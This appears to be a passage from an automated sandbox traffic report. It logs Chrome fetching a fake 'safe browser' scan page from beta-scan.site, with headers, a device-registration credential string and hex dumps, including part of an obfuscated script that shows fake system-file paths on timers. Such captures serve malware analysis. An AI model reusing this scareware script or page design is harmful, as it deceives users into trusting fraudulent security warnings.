e2 37 f9 6f f8 7f eb 3f cb Data Ascii: RIFFWEBPVP8XVP8 Np*%j42uJSTx\NgOEgU8?z_t@7;%S/>~osgoj\|~W9^y}_#+?/\|yu7Gw??}g7o?
2024-10-03 15:18:58 UTC	16384	IN	Data Raw: 75 85 b9 03 6d 73 99 f0 fa 9b 7b 2e 58 60 80 01 31 63 84 6b a6 ee 6b 29 96 eb ce 9b 36 a9 80 af f0 3f b4 28 ac 59 6d ea b7 c2 d7 3f 86 a1 55 10 16 54 7a b8 a6 d7 8a 49 14 cd a1 fd f1 e7 0d df 97 f1 49 c1 34 98 a5 4a fe eb 50 3b 54 70 02 8a 91 bd 22 86 29 25 37 bb 7f c4 96 99 08 17 71 03 3c 0e bb 10 25 c0 8f 3d 78 ce 35 e8 72 b8 de 01 ee 0a a8 aa 33 70 a2 d9 0a 1f 3e f3 80 11 f8 6d 52 83 92 aa 0e f2 7d 25 b3 7e fd 0e 4d 58 77 a1 b2 44 c9 e4 7d 9f 76 6c e6 c1 e1 63 e9 60 58 d6 46 13 f0 5a 9b 39 4e 90 34 56 3a eb 18 b9 e1 80 71 58 1b 36 f6 3a c2 fe 4d c1 91 08 a1 7c 3e 6d ed 14 f5 f5 40 90 e4 46 d4 ca a8 24 99 5f 11 43 40 00 00 26 be 00 04 2e ba 75 e6 b2 30 d4 35 f8 c2 81 d4 bd 41 fa 02 c3 61 66 91 a0 2e 60 42 38 6c 7d ca 16 d6 fd 3f 2d ab bf c5 70 06 75 39 Data Ascii: ums{.X`1ckk)6?(Ym?UTzII4JP;Tp")%7q<%=x5r3p>mR}%~MXwD}vlc`XFZ9N4V:qX6:M\|>m@F$_C@&.u05Aaf.`B8l}?-pu9
2024-10-03 15:18:58 UTC	16384	IN	Data Raw: c4 d1 c9 f6 16 0e 7f 4c a8 3f aa 76 e3 2d 02 63 7e 48 35 9b 22 79 58 a4 23 64 63 76 bb cd 7b 9f 04 37 07 b8 d3 fc 22 3a 9d f1 e5 fe 35 4f c8 9d 97 1f 65 99 49 07 79 0e 59 98 5a 31 bc ee 3a 57 d9 39 89 ca 38 6d 73 e2 9c d6 e8 aa 1e e1 62 12 84 7a b9 56 7b e4 1f 76 21 df e7 c7 e6 9f 3c 81 53 93 3f 0c 23 21 66 53 0b c8 ac 8b c0 ca 67 64 c9 3b c6 c7 21 b2 37 d5 fb a0 60 5a 61 9c 13 c9 3c fd d3 55 e3 57 56 1b 4a 3c 6b b8 e2 e8 75 06 6c b4 5d 7f 28 e7 b0 a7 fd 10 51 7f a6 87 7e 4b b7 bf 25 63 7f fe 11 ad d0 92 77 ba 0d 2d 67 76 eb 38 8e e6 1f e6 95 f9 62 c1 30 66 87 31 52 6f 0f 79 bb 0c 11 18 9a b5 57 bc 6e ce cd f0 cd d9 a3 21 cf 6e ac 97 00 ca eb 33 19 5b 36 f2 99 1a 1b 3b e4 cc 2b dd 47 a5 25 a9 72 ad 53 11 34 62 ae 3e 72 a1 c5 af d5 2e 57 83 2c 33 4f 97 eb Data Ascii: L?v-c~H5"yX#dcv{7":5OeIyYZ1:W98msbzV{v!<S?#!fSgd;!7`Za<UWVJ<kul](Q~K%cw-gv8b0f1RoyWn!n3[6;+G%rS4b>r.W,3O
2024-10-03 15:18:58 UTC	16384	IN	Data Raw: 0f 7f 18 e3 4c b8 64 b5 d8 74 63 5b 3f 74 f9 92 57 cb e6 1f 51 c3 f6 61 a3 a9 56 1f 8b cf 04 c0 ce 2e 12 3b 11 10 96 0e 6d 92 51 a6 ab 3f d8 eb ec e3 8c 8a 45 32 9f d2 20 c6 5d 64 5c f1 6b 4f 9f cf ff 3a 5e 9e 5f 9a e3 ed 2d 0a b5 72 55 2f 75 34 9c e1 7e e1 e0 76 6b a5 fa ce 2a 4d 31 aa 91 ab 84 f2 5e 75 57 80 84 ff 97 ab 41 66 0f a2 eb fa 97 32 36 d0 5e 59 2a 6e 56 40 4e 87 38 73 48 72 ee 5a 53 9f 23 88 1a d7 58 18 82 a4 84 a0 13 24 44 e2 01 7b 75 d0 ab cc 16 93 d9 de 19 c9 66 3e 19 1b 7d ff 02 ad 95 ba c3 6b d5 49 fe 2d 30 2b 8a 7c c9 11 bf 89 c8 17 5c 19 a7 88 94 c6 e0 e4 d5 ed b6 ea 2c 06 cb 7e 35 fa e4 58 23 ce 69 a2 82 80 32 f3 35 3c 42 3d 33 e2 fa f5 9f 2a 25 3a 27 43 d8 92 27 f0 11 7f f0 b4 b5 69 6f 36 46 ce 48 a3 9f 6d 30 64 8a 52 30 80 e2 cb f8 Data Ascii: Ldtc[?tWQaV.;mQ?E2 ]d\kO:^_-rU/u4~vkM1^uWAf26^YnV@N8sHrZS#X$D{uf>}kI-0+\|\,~5X#i25<B=3*%:'C'io6FHm0dR0
2024-10-03 15:18:58 UTC	16384	IN	Data Raw: 0f b0 96 e0 af 3c 19 8d 9a 2c 47 fe 41 b5 da b0 2a ec 62 ef 09 a8 ff 04 0c f3 17 81 f0 81 8b aa 1b c0 8c 50 e0 23 b9 87 8a c8 37 54 30 74 64 ff 1e a5 87 de bc 4e 90 91 c5 ce 1a ae 53 40 ae e4 ce 23 b1 57 cd 7d fe f6 90 53 68 8d cc 26 fe 8b c5 70 73 68 80 6d cd be 57 48 e7 ca a3 63 92 46 e0 d7 dc 12 ce 84 6a bc 7c 2f cc 6a 54 ec bf 3a 15 81 b1 1f c8 62 cf 18 4e 84 b9 6d b7 a6 e6 f5 46 76 9f 83 7c dc 14 db 04 09 d0 c2 07 f9 a2 7c fc 29 16 fb bf 11 2b 92 da 5f 5f 7d 7c f3 7c c8 80 3a 97 55 9e 69 82 5a 6c 58 ff 3c b8 99 fd 12 9b 81 5f dd f3 6c c6 e2 82 5b d3 70 b4 59 e2 b5 19 f9 c2 0d 83 7a f8 fc 24 1c 6a 06 e9 6c 87 d8 eb 60 7b 19 45 e8 07 d8 c1 4a bd 68 c1 59 9d 23 b1 d4 11 ad cd 0e ec 4e ee 2c f8 b2 7d c0 2e f8 99 6b 51 97 2c 60 d7 62 07 1f 46 2a 1f 65 7a Data Ascii: <,GAbP#7T0tdNS@#W}Sh&pshmWHcFj\|/jT:bNmFv\|\|)+__}\|\|:UiZlX<_l[pYz$jl`{EJhY#N,}.kQ,`bFez
2024-10-03 15:18:58 UTC	16384	IN	Data Raw: 43 be e9 66 4c 40 45 08 0d 32 07 aa 28 eb a6 9f 73 37 d8 ee 59 af 2a 76 5e 92 b5 c0 73 ef 1c 51 8c a1 5a 02 44 30 3d b7 0e 02 cd 42 cd 31 d6 08 f2 82 15 d9 36 e7 cf fc f9 40 70 6d 5e b7 f0 0c e5 61 f4 6d df 18 d5 f9 ff f5 02 36 27 fb 8f 8e 54 44 50 00 b5 42 d4 ac e9 af 7b 7b ba 5a ff 6f 62 d5 6c da ef bd 0d 5e 91 70 66 85 35 fd d6 30 8d 65 6b 6a 3b 0a 70 5f ba 58 26 0d 69 c2 44 09 99 a8 78 fb dc 02 4b 55 d6 4c f1 33 c3 27 f6 4c 66 0b 58 de 71 1e 47 7a fa c9 9f 30 8e b4 7c 8b 04 79 e0 00 5c a0 73 82 6f 54 d4 78 9e b6 a0 58 5d 6e 5b 4a 3d 4e 31 39 21 30 9e 57 61 70 16 f5 71 58 cb 97 31 79 5a d4 34 ba d6 73 79 84 ae 06 a9 39 75 4e bd f4 b1 67 0e 05 70 62 a5 09 9f ed 57 b0 f7 d9 f5 2a 1b 27 f2 2d 19 17 47 5f 4d 8e 39 4c 2e 9b 3e b9 56 72 65 99 9d eb 08 f9 af Data Ascii: CfL@E2(s7Yv^sQZD0=B16@pm^am6'TDPB{{Zobl^pf50ekj;p_X&iDxKUL3'LfXqGz0\|y\soTxX]n[J=N19!0WapqX1yZ4sy9uNgpbW'-G_M9L.>Vre
2024-10-03 15:18:58 UTC	6630	IN	Data Raw: 1d 42 72 b4 91 69 54 8a 26 2a c2 48 05 d4 45 c7 fd 52 ca aa e2 9b 94 00 25 c3 d4 96 df 93 95 ef 94 75 36 f1 1c 92 4f 6a c0 58 25 c8 22 80 09 f9 fd 35 44 d5 8e f9 3b dc 07 41 31 50 ce 72 11 d0 bd c9 5b 3a d5 b1 c0 53 69 6d 3b 3a 2d c6 f1 8e d1 91 75 30 28 ab 1b 4c 80 f6 02 04 e9 82 19 e6 bf b4 83 79 ec 3f 4c 12 f8 6c 94 c9 ab c1 b5 47 fa 2f e7 c0 4c 88 37 b4 08 88 be e2 ae ac 94 21 b0 9c 10 50 b3 e3 f3 61 0a 80 7e 6d a3 f5 47 31 47 75 93 c4 15 c2 9f 1f 69 9a 14 f0 3a 26 cb 80 97 60 fc 3b c1 1a 8d 7d b0 e4 4e 55 70 a8 10 09 93 4f 6e 97 92 19 f9 64 be f4 4b ad 89 a9 99 03 4b 34 4d 55 f4 7f f4 e0 24 06 65 55 e8 cc fb fc 68 a1 d8 86 f1 ca 57 ca 20 06 68 8d 89 4c a0 f5 43 25 42 7f 9a a7 62 76 d0 da c6 3a c0 4b 8f 67 4e 96 4d 5a 26 11 16 d8 2c 8d 38 a0 9b a7 23 Data Ascii: BriT&*HER%u6OjX%"5D;A1Pr[:Sim;:-u0(Ly?LlG/L7!Pa~mG1Gui:&`;}NUpOndKK4MU$eUhW hLC%Bbv:KgNMZ&,8#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.17	55768	142.250.186.174	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:58 UTC	488	OUT	POST /c2dm/register3 HTTP/1.1 Host: android.clients.google.com Connection: keep-alive Content-Length: 73 Authorization: AidLogin 5435502604073668495:650202363321949729 Content-Type: application/x-www-form-urlencoded Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:18:58 UTC	73	OUT	Data Raw: 61 70 70 3d 63 6f 6d 2e 67 6f 6f 67 6c 65 2e 61 6e 64 72 6f 69 64 2e 67 6d 73 26 64 65 76 69 63 65 3d 35 34 33 35 35 30 32 36 30 34 30 37 33 36 36 38 34 39 35 26 73 65 6e 64 65 72 3d 37 34 35 34 37 36 31 37 37 36 32 39 Data Ascii: app=com.google.android.gms&device=5435502604073668495&sender=745476177629
2024-10-03 15:18:58 UTC	492	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/plain; charset=UTF-8 Date: Thu, 03 Oct 2024 15:18:58 GMT Expires: Thu, 03 Oct 2024 15:18:58 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-03 15:18:58 UTC	31	IN	Data Raw: 31 39 0d 0a 45 72 72 6f 72 3d 44 45 50 52 45 43 41 54 45 44 5f 45 4e 44 50 4f 49 4e 54 0d 0a Data Ascii: 19Error=DEPRECATED_ENDPOINT
2024-10-03 15:18:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.17	55770	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:58 UTC	458	OUT	GET /landers/gsb/GSB/files/script/smart.js HTTP/1.1 Host: beta-scan.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22
2024-10-03 15:18:58 UTC	292	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:18:58 GMT Content-Type: application/javascript Content-Length: 2198 Last-Modified: Thu, 29 Aug 2024 10:49:04 GMT Connection: close ETag: "66d05220-896" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-10-03 15:18:58 UTC	2198	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 0a 20 20 76 61 72 20 6e 3b 0a 20 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 26 26 28 64 65 66 69 6e 65 28 65 29 2c 6e 3d 21 30 29 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 28 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 28 29 2c 6e 3d 21 30 29 2c 21 6e 29 7b 0a 20 20 20 20 76 61 72 20 74 3d 77 69 6e 64 6f 77 2e 43 6f 6f 6b 69 65 73 2c 6f 3d 77 69 6e 64 6f 77 2e 43 6f 6f 6b 69 65 73 3d 65 28 29 3b 0a 20 20 20 20 6f 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 20 20 20 20 20 20 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 43 6f 6f 6b 69 65 73 3d 74 2c 6f 7d 0a 20 20 7d 0a 7d Data Ascii: !function(e){ var n; if("function"==typeof define&&define.amd&&(define(e),n=!0),"object"==typeof exports&&(module.exports=e(),n=!0),!n){ var t=window.Cookies,o=window.Cookies=e(); o.noConflict=function(){ return window.Cookies=t,o} }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.17	55769	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:58 UTC	457	OUT	GET /landers/gsb/GSB/files/script/lang.js HTTP/1.1 Host: beta-scan.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22
2024-10-03 15:18:58 UTC	292	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:18:58 GMT Content-Type: application/javascript Content-Length: 1157 Last-Modified: Thu, 29 Aug 2024 10:49:04 GMT Connection: close ETag: "66d05220-485" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-10-03 15:18:58 UTC	1157	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 67 6f 6f 67 6c 65 54 72 61 6e 73 6c 61 74 65 45 6c 65 6d 65 6e 74 49 6e 69 74 28 29 20 7b 0a 20 20 6e 65 77 20 67 6f 6f 67 6c 65 2e 74 72 61 6e 73 6c 61 74 65 2e 54 72 61 6e 73 6c 61 74 65 45 6c 65 6d 65 6e 74 28 0a 20 20 7b 0a 20 20 20 20 70 61 67 65 4c 61 6e 67 75 61 67 65 3a 20 22 65 6e 22 2c 0a 20 20 20 20 20 6c 61 79 6f 75 74 3a 20 67 6f 6f 67 6c 65 2e 74 72 61 6e 73 6c 61 74 65 2e 54 72 61 6e 73 6c 61 74 65 45 6c 65 6d 65 6e 74 2e 46 6c 6f 61 74 50 6f 73 69 74 69 6f 6e 2e 54 4f 50 5f 52 49 47 48 54 2c 0a 20 20 20 20 20 61 75 74 6f 44 69 73 70 6c 61 79 3a 20 66 61 6c 73 65 2c 0a 20 20 20 20 7d 0a 20 20 20 20 2c 0a 20 20 20 20 22 67 6f 6f 67 6c 65 5f 74 72 61 6e 73 6c 61 74 65 5f 65 6c 65 6d 65 6e 74 22 0a 20 20 29 3b 0a 7d Data Ascii: function googleTranslateElementInit() { new google.translate.TranslateElement( { pageLanguage: "en", layout: google.translate.TranslateElement.FloatPosition.TOP_RIGHT, autoDisplay: false, } , "google_translate_element" );}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.17	55771	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:58 UTC	457	OUT	GET /landers/gsb/GSB/files/script/myjs.js HTTP/1.1 Host: beta-scan.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22
2024-10-03 15:18:58 UTC	294	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:18:58 GMT Content-Type: application/javascript Content-Length: 19980 Last-Modified: Thu, 29 Aug 2024 10:49:04 GMT Connection: close ETag: "66d05220-4e0c" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-10-03 15:18:58 UTC	16090	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 5f 30 78 34 36 62 61 28 5f 30 78 33 62 65 65 37 65 2c 5f 30 78 33 39 37 37 65 31 29 7b 76 61 72 20 5f 30 78 32 35 39 32 35 30 3d 5f 30 78 32 35 39 32 28 29 3b 72 65 74 75 72 6e 20 5f 30 78 34 36 62 61 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 34 36 62 61 36 64 2c 5f 30 78 31 35 65 33 64 66 29 7b 5f 30 78 34 36 62 61 36 64 3d 5f 30 78 34 36 62 61 36 64 2d 30 78 31 34 37 3b 76 61 72 20 5f 30 78 31 37 36 36 62 31 3d 5f 30 78 32 35 39 32 35 30 5b 5f 30 78 34 36 62 61 36 64 5d 3b 72 65 74 75 72 6e 20 5f 30 78 31 37 36 36 62 31 3b 7d 2c 5f 30 78 34 36 62 61 28 5f 30 78 33 62 65 65 37 65 2c 5f 30 78 33 39 37 37 65 31 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 5f 30 78 32 35 39 32 28 29 7b 76 61 72 20 5f 30 78 31 36 64 37 62 34 3d 5b 27 43 3a 4d Data Ascii: function _0x46ba(_0x3bee7e,_0x3977e1){var _0x259250=_0x2592();return _0x46ba=function(_0x46ba6d,_0x15e3df){_0x46ba6d=_0x46ba6d-0x147;var _0x1766b1=_0x259250[_0x46ba6d];return _0x1766b1;},_0x46ba(_0x3bee7e,_0x3977e1);}function _0x2592(){var _0x16d7b4=['C:M
2024-10-03 15:18:58 UTC	3890	IN	Data Raw: 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 5f 30 78 35 63 34 37 64 64 3d 5f 30 78 32 66 63 64 31 37 3b 24 28 5f 30 78 35 63 34 37 64 64 28 30 78 31 61 38 29 29 5b 5f 30 78 35 63 34 37 64 64 28 30 78 31 62 33 29 5d 28 27 43 3a 53 75 73 57 4f 57 36 34 57 49 4e 63 65 79 4b 72 65 64 6d 63 6c 2e 64 6c 6c 27 29 3b 7d 2c 30 78 31 66 61 34 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 5f 30 78 35 62 31 38 33 33 3d 5f 30 78 32 66 63 64 31 37 3b 24 28 27 2e 6d 69 78 2d 77 69 72 64 73 27 29 5b 5f 30 78 35 62 31 38 33 33 28 30 78 31 62 33 29 5d 28 27 43 3a 53 75 73 57 4f 57 36 34 57 49 4e 4b 64 73 63 6c 69 2e 64 6c 6c 27 29 3b 7d 2c 30 78 32 30 30 38 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 Data Ascii: tTimeout(function(){var _0x5c47dd=_0x2fcd17;$(_0x5c47dd(0x1a8))[_0x5c47dd(0x1b3)]('C:SusWOW64WINceyKredmcl.dll');},0x1fa4),setTimeout(function(){var _0x5b1833=_0x2fcd17;$('.mix-wirds')[_0x5b1833(0x1b3)]('C:SusWOW64WINKdscli.dll');},0x2008),setTimeout(func

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.17	55776	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:58 UTC	858	OUT	GET /landers/gsb/GSB/files/images/icon_3.png HTTP/1.1 Host: beta-scan.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
2024-10-03 15:18:58 UTC	279	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:18:58 GMT Content-Type: image/png Content-Length: 1010 Last-Modified: Thu, 29 Aug 2024 10:49:04 GMT Connection: close ETag: "66d05220-3f2" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-10-03 15:18:58 UTC	1010	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 1e 00 00 00 1e 08 06 00 00 00 3b 30 ae a2 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 23 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 2e 30 2d 63 30 30 32 20 37 39 2e 31 36 34 33 36 30 2c 20 32 30 32 30 2f 30 32 2f 31 33 2d 30 31 3a 30 37 3a 32 32 20 20 Data Ascii: PNGIHDR;0tEXtSoftwareAdobe ImageReadyqe<#iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.17	55773	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:58 UTC	858	OUT	GET /landers/gsb/GSB/files/images/icon_4.png HTTP/1.1 Host: beta-scan.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
2024-10-03 15:18:58 UTC	279	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:18:58 GMT Content-Type: image/png Content-Length: 1288 Last-Modified: Thu, 29 Aug 2024 10:49:04 GMT Connection: close ETag: "66d05220-508" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-10-03 15:18:58 UTC	1288	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 1e 00 00 00 1e 08 06 00 00 00 3b 30 ae a2 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 23 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 2e 30 2d 63 30 30 32 20 37 39 2e 31 36 34 33 36 30 2c 20 32 30 32 30 2f 30 32 2f 31 33 2d 30 31 3a 30 37 3a 32 32 20 20 Data Ascii: PNGIHDR;0tEXtSoftwareAdobe ImageReadyqe<#iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.17	55775	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:58 UTC	818	OUT	GET /landers/gsb/GSB/files/images/safe-browser-logo.png HTTP/1.1 Host: beta-scan.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22
2024-10-03 15:18:58 UTC	282	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:18:58 GMT Content-Type: image/png Content-Length: 87122 Last-Modified: Thu, 29 Aug 2024 10:49:04 GMT Connection: close ETag: "66d05220-15452" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-10-03 15:18:58 UTC	16102	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 04 00 00 00 01 49 08 06 00 00 00 05 72 5f 80 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 01 54 04 49 44 41 54 78 9c ec dd 79 7c 54 e5 bd 3f f0 cf 73 ce 99 35 99 2c 93 65 08 09 21 fb 4a 02 61 27 22 88 a0 62 85 2a 55 6c f1 de da aa f7 56 14 7b 6b 7b f5 de da 56 fb ab b6 5a ab bd da aa ad b4 d5 56 5b 51 41 01 05 05 04 04 44 f6 25 61 c9 be 91 90 84 ec db 24 b3 9e 73 9e df 1f 93 09 93 64 12 b2 cc 64 92 f0 bc 7d 21 e4 cc cc 99 27 c9 6c df ef f3 7d be 0f a1 94 82 61 18 86 61 06 53 51 51 21 9c 3e 7d fa c9 d3 a7 4f 3f 91 97 97 a7 bf 72 e5 0a 64 59 06 00 e8 74 3a 4c 9f 3e 1d 89 89 89 17 16 2e 5c f8 dc ad b7 